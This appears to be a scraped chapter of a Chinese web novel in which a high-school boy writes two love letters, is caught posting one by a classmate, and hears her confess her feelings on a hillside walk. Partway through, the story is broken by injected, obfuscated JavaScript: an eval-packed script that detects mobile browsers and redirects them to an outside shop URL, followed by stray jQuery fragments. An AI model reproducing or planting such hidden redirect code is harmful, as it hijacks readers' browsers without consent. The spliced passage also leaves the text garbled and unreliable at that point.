29. 29秘密交换

作品:《山终不语

    第一封——


    亲爱的布丁小姐:


    上次我偷偷留了个心眼,在听说你喜欢古风圈的一切后,我几乎将所有好听的古风音乐都收藏进了歌单,然后在洗澡的时候一首首播放。


    平缓灵远的旋律随水流一点一滴地在地板上跳动,和诉说着难名的爱意。它是那么真实,又难以捉摸,好在古风圈的一切确实小众,可以让我慢慢欣赏。


    也好比这个世界上漂亮如你、笑容如你的人也很多,有的人听懂了,也有的人离开了。


    就像高一时有一次,在走廊上,你放肆地笑着,指着自己的脸蛋:“猫耳朵先生,你再说一遍,你觉得我好看是吗?你再说一遍行不行?”


    我只是陪你在课间休息时想吹吹风来着,却是被你忽然弄得涨红了脸,偏过头去不肯回应,使得周围关系好的同学皆是哄笑。


    但布丁小姐,那个无论要不要再说一遍,我都觉得你是好看的。


    你有笑起来弯弯的眼睛,浅浅的酒窝,过于青春活力的小虎牙,和你在人群中央温柔唱歌的样子,你身体不舒服的柔弱模样,你长发飘飘,甚至是你拈兰花指时的思考神态,我都觉得是好看的。


    “哼!怎么又不说了?女孩子的青春就这么几年,你不趁着美好的年华里多夸几句,后面都没有机会了呢。”


    “不会的。岁月从不败美人。”


    你半是叹息半是懊恼地抚摸着自己的脸,像极了古画中美人的自怜自艾:“猫耳朵先生,你可不要欺骗我啊。等到我七老八十了,也要记得夸我好看,一定要真心夸!”


    一旁的同学起哄:“哟,无论什么时候你都是好看的,这是我们公认的。”


    “嗯,是的。”


    听着我的附和,你笑了,眼里全是笑意:“去,你不亲口说,我是不信的,少来哄骗我。”


    可布丁小姐啊,我已经在心里反复说了成百上千遍了。


    所以肯定是我说的很小声,从而你没有听到。


    但请你一定要自信,即使时间残忍,在我眼里,你是最美的。


    希望时光温柔的猫耳朵先生敬上。


    第二封——


    亲爱的布丁小姐:


    还记得你在军训结束时唱的那首歌吗?


    当往事如风勾勒出昨天,当岁月流转斑驳了记忆,那首歌在永远不停歇的风中慢慢发酵,并愈发地在我的脑中变得清晰。


    我很难说停留的星光是怎样的,因为它们有各自轨道流走,即使遇上了一点碎光阻挡,也要义无反顾前行。


    可是被撞碎的光很无辜,只能怀抱着那一点擦肩而过的记忆,等待着下一次相见。


    所以我始终记得我跟随你的轨道是正确的。可能是我速度不够快,也可能是我质量不够大,因而仍需要你多等等我。


    然后呢,布丁小姐啊,你说你特别喜欢猫耳朵先生这个名字,甜甜的嗓音里有着缱绻的语调,仿佛是最动听的美好祝福。


    而实际上,不仅是你喜欢,我也很喜欢,我喜欢你喊我这个名字,同时这个名字也被我用到了很多的地方。


    比如说网上。


    随后就有一些怀着天真的人来问我:“你的名字很好听,是有什么特殊含义吗?”


    “算有吧。但具体的含义,是个秘密。你知道《爱丽丝梦游仙境》?”


    毕竟我总不能说是布丁小姐喜欢,所以我也喜欢吧。年少的人,不总爱喜欢将一些稀松平常的东西冠上神秘的气息?


    当然,或许,猫耳朵先生确实有一层鲜少被人知道的含义——面对喜欢的人的话,要细细地听。


    “啊,不懂。那你的真名叫什么呀?”


    “秘密。”


    秘密就是,一个喜欢布丁小姐的猫耳朵先生。


    每在心头念一遍布丁小姐的名字,我就感到很幸福。


    不过可惜的是,高一的相处时间终究短暂。我还没有同你一起走过校园里最美的道路,还没有陪你一起逛图书馆,也还没有在雨天帮你撑伞,也还没有陪你出趟远门,走遍山川湖海。


    而这一年我们刚满16岁。


    有人说,真正的勇士是不会回头的。


    也有人说,年少的喜欢里永远没有谁对谁错,只是相遇的刚刚好。


    但我想说的是,我已经无数次地在心里说过喜欢你了,喜欢你带来的温暖,喜欢牵你的手,喜欢和你产生默契,也喜欢走在人潮汹涌的街头,像真正的情侣那样亲密无间和笑骂随心。


    因此,亲爱的布丁小姐,不知道你这颗游荡的星球是否有一天会为我停止漂泊?


    你会记得我们一起经历过的点滴吗?


    只要你回头,我一直都在你身后。


    一个只想和你在一起的猫耳朵先生敬上。


    洋洋洒洒地又写了两封信,顾山的心情像漂浮在了云上,那种感觉美好到有些不真实,他感到很轻快和舒畅,似乎将心中深藏的心事说出来,就是这般酣畅淋漓的快感。


    而后下一秒,紧随而来的就是胡思乱想和忐忑不安,顾山会在课间的时候想,也会在午间休息的时候想,一次性的四封信会不会太多了点?颜不语会明白他的心意吗?之后的结果会是什么样的?


    他们在一起后,日子又会变成什么样的?


    顾山陷入激动中,与此同时,脑海里会有无数的美好幻想交织,一切眼花缭乱到让人忽略了这其中的一丝不安。


    只因后来顾山在放新写的信时,刚好被同样放学回家的楚笙笙见到了。


    “原来你们的联系是通过这样的方式,真是够小心和别致的呢。”楚笙笙人畜无害地笑着走近,走路的声音混在放学的人流里,几乎没让人注意到她。


    明显被吓一跳的顾山,回头看,他没想到尽管他放信的动作已经伪装得很好了,其一般是装作漫不经心地去到意见箱旁,和假装买小卖部的东西,再在人没有注意的时候,他才会顺手将信投进了意见箱里。


    然而这一次却被楚笙笙当面撞破了他的伪装。


    楚笙笙接着道:“我还以为你和她真就断了联系呢。看来,是你们骗了所有人。顾山,你写了什么呢?”


    “怎么是你?”顾山随手拿了一瓶饮料结账,和说,“你什么都没看到。这是我的秘密。你要帮我保守这个秘密。”


    “我的好处呢?”楚笙笙掩嘴笑,似在打趣说,“我已经帮你保守了很多秘密。”


    “请你喝饮料,行不行?”


    “那要看你的诚意了。”


    顾山虽然知道楚笙笙不会随意说出去,但秉着平日里辅导学习的辛苦,请人喝饮料也是应该的。于是他索性拿了一瓶最贵的鲜牛奶,“这是最贵的了。或者你想喝什么,随便拿。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070061|193947||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    楚笙笙开心地接过,同时眼珠一转,提了一个额外的要求:“一个秘密可不仅仅值一瓶牛奶。要不这样吧,现在时间还早,明天也开始放寒假了,顾山,你陪我去爬一下学校后面的鼎山吧。”


    不到下午三点钟的放学,算算时间,是还早。但顾山还是犹豫了片刻:“现在爬山?”


    “怎么了?想拒绝?”楚笙笙眉头微蹙,许是听出了人话中的不愿意,她气恼地说,“难道今日不给你补课,你就忘了我们之前度过的每一个夜晚吗?顾山,人不带这样过河拆桥的。”


    “咳咳。”顾山被说的不好意思,尽管他内心的真实想法是碍于颜不语的想法,但是他却不能说那封信的内容,只能再拒绝,“要不。”


    可不等他把话说完,楚笙笙直接打断了他的话:“没有要不。我不是你的朋友吗?朋友想爬山,有心事,有苦恼,身为朋友的你难道不应该担心一下吗?那晚的天台,风很大。”


    “怎么了?”顾山预感到什么不好的事情,并想到那晚的风是很大,世界也很冷,难不成是楚笙笙又要一个人静静?


    顾山怕她一个人静静。


    “没怎么。只是作为等价交换,我也要告诉你一个秘密。如此,对你才公平。”


    女孩子说没怎么,实际上就是有事。这个道理,是顾山从书上看到的。他好像没有办法再拒绝了。


    鼎山上的登山步道被冬日难得的阳光染成暖金色,顾山走在后头,其影子斜斜拖在身后,淡淡的,有一个怯懦的轮廓。


    楚笙笙走在前面离人两级台阶的地方。她今天没穿校服外套,浅蓝色的羽绒服袖口上带有一个绣着黄色小花的袖套,走起路来时,会不自觉地露出细白的手腕。


    她的步子不快,偶尔停下来会看路边的风吹草动,而马尾就在暖暖的阳光中定了定格。


    “放假了。”楚笙笙的声音伴着温煦的山风飘过来,“才发觉我们的相识时间原来这样短。顾山,要是我们早点成为朋友就好了。”


    “现在也不晚。”顾山含糊地嗯了一声,随后客气地保持疏离。


    有了颜不语的信在前,顾山可不敢再和楚笙笙产生进一步的了解和交流了,特别是在两个人独处的时候,有些距离,要由他来把控。


    “可要是我能比颜不语再早一点认识你呢?”


    “啊?”


    楚笙笙在一处亭子前停下来,回头再说:“颜不语是很厉害,我钦佩她。你喜欢她,我一点都不觉得奇怪。”


    顾山站在台阶上,不敢去看人的眼睛,而是跟着人一样转身,但却是去看山下的风景,和附和道:“人就是喜欢美好的人和物。她确实很好,值得人的喜欢。”


    “那你呢?”


    从平台的那个位置往外延伸看去,能看见二中的大半个校园,其中校园里的路上仍有人拎着大包小包的行李走着,和教学楼的绿色玻璃上反射出橙红色的光。


    顾山疑惑地问:“我?什么意思?”


    “我的意思是说——顾山。”


    “嗯。”


    “你看看我好不好?你这样不看着人说话很不礼貌诶。难道说你在紧张什么?”


    楚笙笙上一秒喊了顾山的名字,下一秒,在人回身过来的瞬间,站在了石亭里的暖色光线里,“我的意思是说,顾山你也值得人的喜欢。比如说我。”